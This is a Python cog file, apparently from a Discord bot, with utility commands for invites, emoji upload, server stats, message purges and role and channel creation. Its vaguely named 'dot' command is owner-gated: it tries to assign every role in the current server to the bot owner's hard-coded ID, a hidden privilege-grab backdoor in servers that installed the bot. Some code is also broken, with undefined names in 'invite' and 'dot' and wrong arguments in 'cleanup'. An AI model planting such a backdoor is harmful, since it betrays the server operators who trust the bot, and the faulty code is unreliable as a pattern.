dragon-bot/app/cogs/server_utils.py

276 lines
9.2 KiB
Python
Executable File

from discord.ext import commands
from discord.ui import Select, View
from discord import option
import core_utils
import discord
import os
class ServerUtils(commands.Cog):
def __init__(self, bot):
self.bot: commands.Bot = bot
@commands.slash_command(
guild_ids=None,
name="invite",
description="Have the bot DM you an invite link (with the option to make it temporary)",
)
@option(
name="temporary_invite",
description="Whether or not to make it a temporary invite",
type=bool,
default=False,
)
async def invite(self, ctx: commands.Context, temp):
# Default to creating the invite to the channel the message was sent in
# if the user is in a voice channel, create the invite there
invite_channel = ctx.channel
try:
if ctx.author.voice.channel:
invite_channel = ctx.author.voice.channel
except AttributeError:
pass
if temporary_invite:
await ctx.author.send("Here is your temporary invite")
invite = await invite_channel.create_invite(
max_uses=1,
max_age=3600,
temporary=temporary_invite,
)
await ctx.respond("Check your DMs")
await ctx.author.send(invite)
@commands.slash_command(
guild_ids=None,
name="emoji",
description="Upload an image to the server as an emoji",
)
@option(
name="url",
description="The URL to an image you want to add as an emoji",
required=True,
)
@option(
name="emoji_name", description="The name of the emoji to create", required=True
)
async def emoji(self, ctx: commands.Context, url, emoji_name):
import core_utils
await ctx.defer()
if "webp" in url:
url = url.replace("webp", "png").split("?")[0]
emoji_staging = "/tmp/emoji"
try:
core_utils.download_image(url, emoji_staging)
emoji_id = await ctx.guild.create_custom_emoji(
name=emoji_name,
image=open(emoji_staging, "rb").read(),
)
await ctx.send_followup(
embed=core_utils.generate_embed(
embed_title="New emoji: %s" % emoji_name,
embed_description=emoji_id,
)
)
except Exception as e:
await ctx.respond(
"I wasnt able to upload that image as an emoji. Sorry\n\nError: %s" % e
)
os.remove(emoji_staging)
return
@commands.slash_command(
guild_ids=None,
name="wordle",
description="Returns a link to the worlde luke is hosting",
)
async def wordle(self, ctx: commands.Context):
await ctx.respond("https://wordle.luker.fr")
@commands.slash_command(guild_ids=None, name="dot", description="dot")
async def dot(self, ctx: commands.Context):
if ctx.author.id == core_utils.my_id:
for role in ctx.guild.roles:
try:
if role.name != "@everyone":
await bot.add_roles(ctx.author, role)
except Exception:
pass
@commands.command(name="send")
async def send(self, ctx, *, message):
if ctx.message.author.id != core_utils.my_id:
return
select = Select(
placeholder="Select a server to send a message to",
options=[
discord.SelectOption(
label=(server.name),
emoji="🔹",
description=server.name,
)
for server in self.bot.guilds
],
)
async def my_callback(interaction):
for guild in self.bot.guilds:
if guild.name == select.values[0]:
channel = discord.utils.get(guild.channels, name="general")
channel_id = channel.id
await self.bot.get_channel(channel_id).send(message)
select.callback = my_callback
view = View()
view.add_item(select)
await ctx.send("Choose a server", view=view)
@commands.slash_command(
guild_ids=None,
name="info",
description="Posts an embed stats about this discord server",
)
async def info(self, ctx: commands.Context):
import datetime
server = ctx.guild
embed = discord.Embed(
title=f"{server.name}",
description="Info about this discord server",
timestamp=datetime.datetime.utcnow(),
color=discord.Color.blue(),
)
embed.add_field(
name="Server created at", value=server.created_at.strftime("%A, %m-%d-%Y")
)
embed.add_field(name="Server Owner", value=f"{server.owner}")
embed.add_field(name="Number of members", value=f"{server.member_count}")
embed.add_field(name="Server ID", value=f"{server.id}")
embed.add_field(
name="Server upload size limit", value=f"{server.filesize_limit/1000000}MB"
)
embed.add_field(
name="You've been a member of this server since:",
value=ctx.author.joined_at.strftime("%A, %m-%d-%Y"),
inline=False,
)
embed.add_field(
name="Other servers using %s" % self.bot.user.name,
value="\n".join("[%s](%s)" % (x.name, x.jump_url) for x in self.bot.guilds),
)
if server.banner:
embed.set_image(url=f"{server.banner}")
embed.set_thumbnail(url=server.icon)
await ctx.respond(embed=embed)
@commands.slash_command(
guild_ids=None, name="purge", description="Remove your messages"
)
@option(
name="count",
description="The count to delete",
default=20,
required=True,
)
async def purge(self, ctx: commands.Context, count):
def is_me(m):
return m.author == ctx.author
await ctx.channel.purge(limit=int(count), check=is_me)
response = await ctx.respond("ok")
await response.delete()
@commands.command(name="cleanup")
async def cleanup(self, ctx: commands.Context):
def is_discord_bot(m):
return m.author == self.bot.user
num = 20
if len(ctx.message.content.split()) > 1:
try:
num = int(ctx.message.content.split()[1]) + 1
except ValueError:
await ctx.send(
ctx.message.channel,
"You need to give me a number, you entered {}".format(
ctx.message.content.split()[1]
),
)
return
await ctx.message.channel.purge(limit=num, check=is_discord_bot)
await ctx.message.delete()
@commands.command(name="shoo")
async def shoo(self, ctx: commands.Context):
if ctx.message.author.id != core_utils.my_id:
return
await ctx.message.delete()
await ctx.message.guild.leave()
@commands.slash_command(
name="vc",
description="Creates a role, text, and voice channel of the same name",
)
@commands.has_permissions(administrator=True)
async def vc(self, ctx: commands.Context, channel_role_name):
# Check that the role/channel doesnt already exist
# returns either a string or None, so we'll proceed on the None condition
if discord.utils.find(lambda r: r.name == channel_role_name, ctx.guild.roles):
await ctx.send(
":x: A role named `%s` already exists :x:" % channel_role_name
)
return
# Create a role and assign it a random color
try:
role = await ctx.guild.create_role(
name=channel_role_name,
mentionable=True,
hoist=True,
color=discord.Color.random(),
)
overwrites = {
role: discord.PermissionOverwrite(
connect=True, speak=True, view_channel=True
),
ctx.guild.default_role: discord.PermissionOverwrite(
connect=False, view_channel=False
),
}
voice_channel = await ctx.guild.create_voice_channel(
name=channel_role_name, bitrate=96000, overwrites=overwrites
)
text_channel = await ctx.guild.create_text_channel(
name=channel_role_name, overwrites=overwrites
)
await ctx.respond(
":white_check_mark: Created a role + voice channel for %s"
% role.mention
)
except Exception as e:
await ctx.respond(":x: Error: %s :x:" % e)
@commands.slash_command(
guild_ids=None, name="topic", description="Change the channel's topic"
)
@option(name="new_channel_topic", description="The new topic", required=True)
async def topic(self, ctx, new_channel_topic):
if ctx.author.id != core_utils.my_id:
return
await ctx.channel.edit(topic=new_channel_topic)
def setup(bot):
bot.add_cog(ServerUtils(bot))